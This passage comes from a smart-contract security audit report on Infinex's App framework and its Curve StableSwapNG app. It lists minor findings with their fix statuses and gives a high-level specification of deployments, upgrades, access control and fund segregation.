<td>Some functions in the <code>ICurveStableSwapFactoryNG</code> and <code>ICurveStableSwapNG</code> interfaces are not marked as <code>view</code> despite their implementations' published ABIs specifying their <code>stateMutability</code> as <code>view</code>.</td>
</tr>
<tr>
<td>8</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/main/src/apps/curve/CurveStableSwapApp.sol#L137">CurveStableSwapApp.sol#L137</a></td>
<td>The <code>USDC</code> and <code>CurveStableSwapFactoryNG</code> addresses can be set as<code>immutable</code> in the <code>CurveStableSwapApp</code> in lieu of performing cross-contract reads to the <code>CurveStableSwapAppBeacon</code>. This will require passing the address of <code>USDC</code> and <code>CurveStableSwapFactoryNG</code> to the constructor for the <code>CurveStableSwapApp</code> implementation contract.</td>
</tr>
</tbody>
</table>
<ol>
<li>Won't fix.</li>
<li>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/4801a7dafb58254ec4911f51ac53b299c956045d">4801a7d</a>.</li>
<li>Won't fix.</li>
<li>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/46de1538e29e559f4cbeb13c822e657e05bd7450">46de153</a>.</li>
<li>Wont'fix.</li>
<li>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/46de1538e29e559f4cbeb13c822e657e05bd7450">46de153</a>.</li>
<li>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/d053da581f8ae4365c40f1b69fa1209e1d7c55b9">d053da5</a>.</li>
<li>Won't fix</li>
</ol>
<h1 id="specification">Specification</h1>
<p>The following section outlines the system's intended functionality at a high level, based on its implementation in the codebase. Any perceived points of conflict should be highlighted with the auditing team to determine the source of the discrepancy.</p>
<h2 id="app-framework">App framework</h2>
<p>A set of base contracts were developed to facilitate the development of Apps. These base contracts defined the upgrade patterns, recovery mechanisms and access control logic.</p>
<h3 id="deployments">Deployments</h3>
<p>A new <code>AppAccountModule</code> was added to the Smart Account, which allows users to deploy and activate an App for their account. The module leverages the <code>AppRegistry</code> to deploy a new upgradeable UUPS proxy and initializes it with the App's implementation.</p>
<p>Only Apps that have been authorized by Infinex can be deployed. The list of authorized Apps is kept in the <code>AppRegistry</code>, which also enforces sanity checks during deployments to ensure that the latest implementation conforms to the base App specification.</p>
<h3 id="upgrades">Upgrades</h3>
<p>Infinex's security model of requiring users to opt into any upgrades was extended to include Apps. App upgrades can only be performed via a user's Smart Account. It is only possible to upgrade to the latest version of an app. If the App beacon is out-of-date, the App's beacon will be set to its latest version in addition to upgrading the App's implementation.</p>
<h3 id="access-control">Access control</h3>
<p>The base App contracts provide the same access modifiers as the Smart Account; however, the smart account performs all key and role validation. This ensures that the App's access controls are in lock-step with the Smart Account, preventing stale credentials.</p>
<p>It is important to note that actions are performed directly against an App and not proxied through a Smart Account.</p>
<hr/>
<h3 id="segregation-of-funds">Segregation of funds</h3>
<p>Introducing Apps allows Infinex to limit the funds at risk when adding integrations to the ecosystem. For this reason, each App is deployed as a new smart contract.</p>
<p>Functions to transfer funds and other tokens between the Smart Account and associated App instances were added. The transfer functions only allow the movement of assets between a user's App deployments and their Smart Account.</p>
<p>Corresponding recovery functions were added to the <code>AppAccountBase</code> implementation to allow users to recover their funds to their Smart Account.</p>
<h2 id="curve-stableswapng">Curve StableSwapNG</h2>
<p>The <code>CurveStableSwapApp</code> enables users to exchange tokens and provide liquidity to Curve's Stable Swap NG pools, supporting only those pools deployed via the Curve Stable Swap NG Factory. To do this securely, the pool must be enabled by the owner of the App Beacon. The App does not support exchanges using the underlying assets of a Metapool; it only supports Plain Pools' functionality. Additionally, the <code>CurveStableSwapApp</code> includes recovery mechanisms to facilitate the withdrawal of funds as USDC.</p>
</article>
</main>
</div>

‍

Secure your system.

Request a service

Start Now →

Disclaimer